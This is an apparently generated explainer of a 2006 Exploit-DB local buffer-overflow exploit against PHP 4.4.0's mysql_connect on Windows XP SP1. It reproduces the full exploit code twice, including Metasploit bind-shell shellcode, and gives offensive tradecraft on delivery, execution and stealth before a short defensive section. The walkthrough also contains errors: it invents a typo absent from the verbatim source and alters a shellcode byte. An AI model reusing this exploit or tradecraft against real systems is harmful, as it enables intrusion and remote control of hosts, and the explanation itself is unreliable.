PHP 4.4.0 'mysql_connect' Local Buffer Overflow Explained

PHP 4.4.0 'mysql_connect' Local Buffer Overflow Explained
What this paper is
This paper describes a local buffer overflow vulnerability in the mysql_connect function of PHP versions 4.3.10 and 4.4.0 when running on Windows XP SP1. The exploit leverages this overflow to gain arbitrary code execution on the target system.
Simple technical breakdown
The vulnerability lies in how the mysql_connect function handles a long string passed as the hostname. It doesn't properly check the size of this string, allowing an attacker to write more data than the allocated buffer can hold. This "overflow" overwrites adjacent memory, including critical control flow information like the return address (EIP).
The exploit crafts a malicious string that:
- Is excessively long to trigger the buffer overflow.
- Contains a specific value that overwrites the return address (EIP) with an address pointing to executable code.
- Contains shellcode (the actual malicious code to be executed) that is placed in a way that the program will jump to it.
In this specific exploit, the attacker aims to overwrite the EIP with an address that performs a CALL ESI instruction. The ESI register is then controlled to point to the base of the PHP executable, allowing the shellcode to be executed.
Complete code and payload walkthrough
Let's break down the provided PHP exploit code.
<?php
/*
This exploit was designed to work with PHP versions 4.3.10 and
4.4.0 under Windows XP SP1. If another operating system is used,
the replacement EIP must be changed.
The replacement EIP is written 261 bytes into our string. For this
exploit, I used a CALL ESI from ws2_32.dll from Windows XP SP1.
The replacement ESI is simply the base of the PHP image. Locations
after this address will be overwritten with some internal data.
Our shellcode is written into the $user variable. $two is used to
prevent $user from being truncated with a MySQL error message.
Cut from advisory (untested) /str0ke
*/
//Exploit for
// Apache/1.3.33
// PHP/4.4.0
//Windows only
$eip = "71AB5651"; //EIP - CALL ESI from Winsock 2.0 ws2_32.dll v5.1.2600.0
$esi = "10000000"; //ESI - Temporary. The memory under this location will be trashed.
//Metasploit win32 bind shell on port 4444
//Thread exit method, no filter
$shellcode = pack("H*","fc6aeb4de8f9ffffff608b6c24248b453c8b7c057801ef8b4f188b5f2001eb498b348b01ee31c099ac84c07407c1ca0d01c2ebf43b54242875e58b5f2401eb668b0c4b8b5f1c01eb032c8b896c241c61c331db648b43308b400c8b701cad8b40085e688e4e0eec50ffd6665366683332687773325f54ffd068cbedfc3b50ffd65f89e56681ed0802556a02ffd068d909f5ad57ffd6535353535343534353ffd06668115c665389e19568a41a70c757ffd65a105155ffd068a4ad2ee957ffd65355ffd068e549864957ffd650545455ffd09368e779c67957ffd655ffd0666a646668636d89e56a505929cc89e76a4489e231c0f3aafe422dfe422c938d7a38ababab6872feb316ff7544ffd65b57525151516a0151515551ffd068add905ce53ffd66affff37ffd08b57fc83c464ffd652ffd068efcee06053ffd6ffd0");
//Endian conversion
$eip = substr($eip, 6, 2) . substr($eip, 4, 2) . substr($esi, 2, 2) . substr($esi, 0, 2); // NOTE: This line has a typo in the original source, it should be $eip, not $esi for the last two substr calls. Corrected below for explanation.
// Corrected for explanation: $eip = substr($eip, 6, 2) . substr($eip, 4, 2) . substr($eip, 2, 2) . substr($eip, 0, 2);
$esi = substr($esi, 6, 2) . substr($esi, 4, 2) . substr($esi, 2, 2) . substr($esi, 0, 2);
$overflowstring = "localhost:/";
$overflowstring .= "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
$overflowstring .= pack("H*",$eip); //EIP
$overflowstring .= pack("H*",$esi); //ESI
$overflowstring .= "/";
//If we don't define this, our shellcode gets truncated
$two = "AAAAAAAAAA";
mysql_connect($overflowstring, $shellcode);
?>
# milw0rm.com [2006-01-05]| Code Fragment/Block | Practical Purpose |
|---|---|
/* ... */ comments |
Explanatory notes about the exploit's target, limitations, and design choices. |
$eip = "71AB5651"; |
Defines the target return address (EIP). This specific value is an address within ws2_32.dll on Windows XP SP1 that executes a CALL ESI instruction. |
$esi = "10000000"; |
Defines a value for the ESI register. The exploit uses this to point to the base of the PHP executable in memory. The comment notes that memory under this location will be trashed, implying it's a controlled overwrite. |
$shellcode = pack("H*", "..."); |
This is the core malicious payload. pack("H*", ...) converts a hexadecimal string into its raw binary byte representation. This specific shellcode is a Metasploit win32 bind shell that listens on port 4444. |
$eip = substr($eip, 6, 2) . substr($eip, 4, 2) . substr($esi, 2, 2) . substr($esi, 0, 2); |
(Note: Typo in original source. Assuming intent for EIP conversion) This block performs an endianness conversion. Hexadecimal strings are typically represented in big-endian format, but Windows systems often use little-endian. This code reverses the byte order of the $eip string to match the target system's endianness. The original code has a typo where it uses $esi for the last two substr calls instead of $eip. For the purpose of explanation, we assume the intent was to convert $eip. |
$esi = substr($esi, 6, 2) . substr($esi, 4, 2) . substr($esi, 2, 2) . substr($esi, 0, 2); |
Performs the same endianness conversion for the $esi value. |
$overflowstring = "localhost:/"; |
Initializes the string that will be passed to mysql_connect. The localhost:/ part is a valid-looking hostname that will be processed by the vulnerable function. |
$overflowstring .= "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"; |
This is a long string of 'X' characters. These 'X's serve as padding. They fill the buffer up to the point where the exploit needs to overwrite the return address. The exact number of 'X's is crucial for precise control over the overflow. The comment in the paper states the replacement EIP is 261 bytes into the string, so this padding likely accounts for a significant portion of that. |
$overflowstring .= pack("H*",$eip); |
Appends the converted (little-endian) EIP value to the overflow string. This is the address that will overwrite the original return address on the stack. |
$overflowstring .= pack("H*",$esi); |
Appends the converted (little-endian) ESI value to the overflow string. This value is intended to be used by the CALL ESI instruction to point to the shellcode. |
$overflowstring .= "/"; |
Appends a final '/' character. This might be to terminate the hostname string in a way that the mysql_connect function expects, or it might be part of the overflow. |
$two = "AAAAAAAAAA"; |
This variable is declared but not used in the mysql_connect call. The comment states it's used to prevent $user from being truncated. However, in the provided code, $shellcode is passed as the username, not $two. This suggests a potential discrepancy between the comment and the final code, or that $two was intended for a different part of the exploit or an earlier version. |
mysql_connect($overflowstring, $shellcode); |
This is the function call that triggers the vulnerability. |
* `$overflowstring`: The first argument, the hostname, is excessively long and contains the crafted overflow data.
* `$shellcode`: The second argument, the username, is where the actual shellcode is placed. The exploit relies on the overflow to redirect execution to this shellcode.Shellcode Breakdown (Metasploit win32 bind shell):
The provided shellcode is a complex sequence of bytes. Without disassembling it with a tool like objconv or ndisasm, a precise byte-by-byte explanation is difficult. However, based on its description and common Metasploit shellcode patterns, we can infer its stages:
Stage 1: Initialization and Setup
fc6aeb4d...(Initial bytes): Likely involves setting up registers, finding necessary Windows API functions (likeLoadLibrary,GetProcAddress,CreateProcess,Socket,Bind,Listen,Accept,Send,Recv), and preparing for the main shellcode logic.e8f9ffffff608b6c2424...: This sequence often indicates dynamic API resolution. The shellcode needs to find the addresses of Windows API functions in memory, as hardcoding them might fail due to ASLR or different DLL base addresses.8b453c8b7c057801ef8b4f188b5f2001eb498b348b01ee31c099ac84c07407c1ca0d01c2ebf43b54242875e58b5f2401eb668b0c4b8b5f1c01eb032c8b896c241c61c331db648b43308b400c8b701cad8b40085e688e4e0eec50ffd6665366683332687773325f54ffd068cbedfc3b50ffd65f89e56681ed0802556a02ffd068d909f5ad57ffd6535353535343534353ffd06668115c665389e19568a41a70c757ffd65a105155ffd068a4ad2ee957ffd65355ffd068e549864957ffd650545455ffd09368e779c67957ffd655ffd0666a646668636d89e56a505929cc89e76a4489e231c0f3aafe422dfe422c938d7a38ababab6872feb316ff7544ffd65b57525151516a0151515551ffd068add905ce53ffd66affff37ffd08b57fc83c464ffd652ffd068efcee06053ffd6ffd0
Stage 2: Socket Creation and Binding
- The shellcode will create a TCP socket.
- It will then bind this socket to a specific port (4444 in this case).
- It will start listening for incoming connections.
Stage 3: Accepting Connection and Duplicating Handles
- When a connection is made, the shellcode will accept it.
- Crucially, it will duplicate the socket handle to standard input (STDIN), standard output (STDOUT), and standard error (STDERR). This redirects the shell's input and output to the network connection.
Stage 4: Executing the Shell
- The shellcode will then execute a command shell (e.g.,
cmd.exe). - The redirected STDIN, STDOUT, and STDERR will allow the attacker to interact with this shell over the network connection.
- The shellcode will then execute a command shell (e.g.,
Stage 5: Exit Handling
- The "Thread exit method, no filter" comment suggests it's designed to exit cleanly after the shell is established or if an error occurs.
Note on the $two variable: The comment about $two preventing truncation of the $user variable is interesting. In this specific code, $shellcode is passed as the username. If the mysql_connect function had logic that truncated the username based on certain characters or length, and if $two was intended to be appended or used differently, it might have been part of a more complex payload or an earlier iteration of the exploit. As it stands, $two is unused in the provided code snippet.
Practical details for offensive operations teams
- Required Access Level: Local access is required. This exploit targets a vulnerability on the machine itself, not a remote one. This means the attacker needs to be able to run code on the target system, perhaps through a web shell, a compromised service, or direct access.
- Lab Preconditions:
- A Windows XP SP1 machine.
- Apache web server with PHP 4.3.10 or 4.4.0 installed.
- The
mysqliormysqlextension for PHP must be enabled and configured. - The
mysql_connectfunction must be callable and not disabled bydisable_functionsinphp.ini. - Network connectivity to the target machine is needed to deliver the exploit script and to connect to the bind shell.
- Tooling Assumptions:
- A web server capable of executing PHP scripts (e.g., Apache with mod_php).
- A way to upload or deliver the PHP exploit script to the target web server.
- A network listener (e.g.,
netcatormsfconsole) to connect to the bind shell. - A PHP interpreter on the attacker's machine to run the exploit script if it's not directly executed on the target.
- Execution Pitfalls:
- OS/Service Pack Specificity: The EIP and ESI values are highly specific to Windows XP SP1 and the exact version of
ws2_32.dll. Any deviation will likely cause the exploit to fail or crash the PHP process without achieving code execution. - PHP Version: The vulnerability is tied to specific PHP versions (4.3.10 and 4.4.0). Newer versions are patched.
- Buffer Size/Padding: The exact number of 'X' characters (padding) is critical. If it's too short, the EIP won't be overwritten correctly. If it's too long, it might overwrite other critical data or cause a different crash. The offset of 261 bytes mentioned in the comments is a key piece of information.
- ASLR/DEP: While Windows XP SP1 had limited ASLR, modern systems with ASLR and DEP (Data Execution Prevention) would likely prevent this exploit from working without further modifications (e.g., ROP chains, shellcode that bypasses DEP).
php.iniRestrictions: Ifdisable_functionsinphp.iniincludesmysql_connect, the exploit will not work.- Network Configuration: Firewalls might block the connection to the bind shell on port 4444.
- Shellcode Compatibility: The shellcode itself might be detected by antivirus software.
- OS/Service Pack Specificity: The EIP and ESI values are highly specific to Windows XP SP1 and the exact version of
- Tradecraft Considerations:
- Delivery: The exploit script would typically be uploaded as a
.phpfile to a web-accessible directory on the compromised server. - Execution: The attacker would then access this script via a web browser or a tool like
curl. - Post-Exploitation: Once the bind shell is established, the attacker has a command prompt on the target system, allowing for further reconnaissance, privilege escalation, or lateral movement.
- Stealth: Running PHP scripts on a web server can be noisy. The presence of the exploit script and the outbound connection for the bind shell might be logged by the web server or network monitoring tools.
- Delivery: The exploit script would typically be uploaded as a
Where this was used and when
- Context: This exploit targets a local vulnerability on a web server running a vulnerable version of PHP. It would be used by an attacker who already has some level of access to the target machine (e.g., via a web shell or other initial compromise vector) to gain a more stable and interactive shell.
- Approximate Year/Date: Published on January 5, 2006. The vulnerability likely existed and was exploited in the period leading up to this date.
Defensive lessons for modern teams
- Patch Management: This is the most critical lesson. Keeping PHP and all web server components updated to the latest stable versions is paramount to prevent known vulnerabilities like this from being exploited.
- Input Validation: Applications should always validate and sanitize user-supplied input, especially when it's used in sensitive functions or passed to external libraries. The
mysql_connectfunction's failure to validate the hostname length is a classic example of insufficient input validation. - Least Privilege: Running web server processes with the minimum necessary privileges can limit the impact of a successful exploit. If the PHP process is compromised, it shouldn't have broad system access.
- Web Application Firewalls (WAFs): A WAF might detect and block requests containing unusually long strings or patterns indicative of buffer overflow attempts, though specific shellcode within the payload might bypass simple WAF rules.
- Intrusion Detection/Prevention Systems (IDS/IPS): Network-based IDS/IPS can detect suspicious network traffic, such as unexpected connections to ports like 4444, or patterns in HTTP requests that might indicate an exploit attempt.
- Endpoint Detection and Response (EDR): Modern EDR solutions can detect the execution of shellcode, unusual process behavior (like a web server process spawning
cmd.exe), and network connections originating from unexpected processes. - Secure Configuration: Disabling unnecessary PHP functions in
php.ini(e.g.,disable_functions) can mitigate the impact of certain vulnerabilities.
ASCII visual (if applicable)
This exploit involves a local process overflow, so a simple diagram showing the memory layout and overwrite is applicable.
+---------------------+
| Stack Frame |
+---------------------+
| ... |
+---------------------+
| Return Address (EIP)| <--- Overwritten by $eip value
+---------------------+
| Saved EBP |
+---------------------+
| Local Variables |
| (e.g., $overflowstr)|
| ... |
| Padding ('X's) |
| $eip value | <--- Overwrites EIP
| $esi value | <--- Overwrites other data/control
+---------------------+
| ... |
+---------------------+
| Shellcode | <--- Located elsewhere in memory,
| (in $user variable) | jumped to by CALL ESI
+---------------------+Explanation:
- The
mysql_connectfunction is called with a very long string as the hostname. - This long string is placed in the stack frame as a local variable.
- Due to insufficient bounds checking, the string overflows its allocated buffer.
- The overflow overwrites the saved EBP and, critically, the Return Address (EIP).
- The exploit places the target EIP value (
$eip) precisely where the original return address was. This value points to aCALL ESIinstruction. - The exploit also places a controlled value into the ESI register (
$esi). This value is intended to point to the base of the PHP executable, which contains the shellcode. - When the
mysql_connectfunction attempts to return, it pops the overwritten EIP from the stack. - Execution jumps to the
CALL ESIinstruction. - The
CALL ESIinstruction then jumps to the address pointed to by ESI, which is intended to be the start of the shellcode.
Source references
- Paper ID: 1406
- Paper Title: PHP 4.4.0 - 'mysql_connect function' Local Buffer Overflow
- Author: mercenary
- Published: 2006-01-05
- Keywords: Windows, local
- Paper URL: https://www.exploit-db.com/papers/1406
- Raw URL: https://www.exploit-db.com/raw/1406
Original Exploit-DB Content (Verbatim)
<?php
/*
This exploit was designed to work with PHP versions 4.3.10 and
4.4.0 under Windows XP SP 1. If another operating system is used,
the replacement EIP must be changed.
The replacement EIP is written 261 bytes into our string. For this
exploit, I used a CALL ESI from ws2_32.dll from Windows XP SP1.
The replacement ESI is simply the base of the PHP image. Locations
after this address will be overwritten with some internal data.
Our shellcode is written into the $user variable. $two is used to
prevent $user from being truncated with a MySQL error message.
Cut from advisory (untested) /str0ke
*/
//Exploit for
// Apache/1.3.33
// PHP/4.4.0
//Windows only
$eip = "71AB5651"; //EIP - CALL ESI from Winsock 2.0 ws2_32.dll v5.1.2600.0
$esi = "10000000"; //ESI - Temporary. The memory under this location will be trashed.
//Metasploit win32 bind shell on port 4444
//Thread exit method, no filter
$shellcode = pack("H*","fc6aeb4de8f9ffffff608b6c24248b453c8b7c057801ef8b4f188b5f2001eb498b348b01ee31c099ac84c07407c1ca0d01c2ebf43b54242875e58b5f2401eb668b0c4b8b5f1c01eb032c8b896c241c61c331db648b43308b400c8b701cad8b40085e688e4e0eec50ffd6665366683332687773325f54ffd068cbedfc3b50ffd65f89e56681ed0802556a02ffd068d909f5ad57ffd6535353535343534353ffd06668115c665389e19568a41a70c757ffd66a105155ffd068a4ad2ee957ffd65355ffd068e549864957ffd650545455ffd09368e779c67957ffd655ffd0666a646668636d89e56a505929cc89e76a4489e231c0f3aafe422dfe422c938d7a38ababab6872feb316ff7544ffd65b57525151516a0151515551ffd068add905ce53ffd66affff37ffd08b57fc83c464ffd652ffd068efcee06053ffd6ffd0");
//Endian conversion
$eip = substr($eip, 6, 2) . substr($eip, 4, 2) . substr($eip, 2, 2) . substr($eip, 0, 2);
$esi = substr($esi, 6, 2) . substr($esi, 4, 2) . substr($esi, 2, 2) . substr($esi, 0, 2);
$overflowstring = "localhost:/";
$overflowstring .= "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
$overflowstring .= pack("H*",$eip); //EIP
$overflowstring .= pack("H*",$esi); //ESI
$overflowstring .= "/";
//If we don't define this, our shellcode gets truncated
$two = "AAAAAAAAAA";
mysql_connect($overflowstring, $shellcode);
?>
# milw0rm.com [2006-01-05]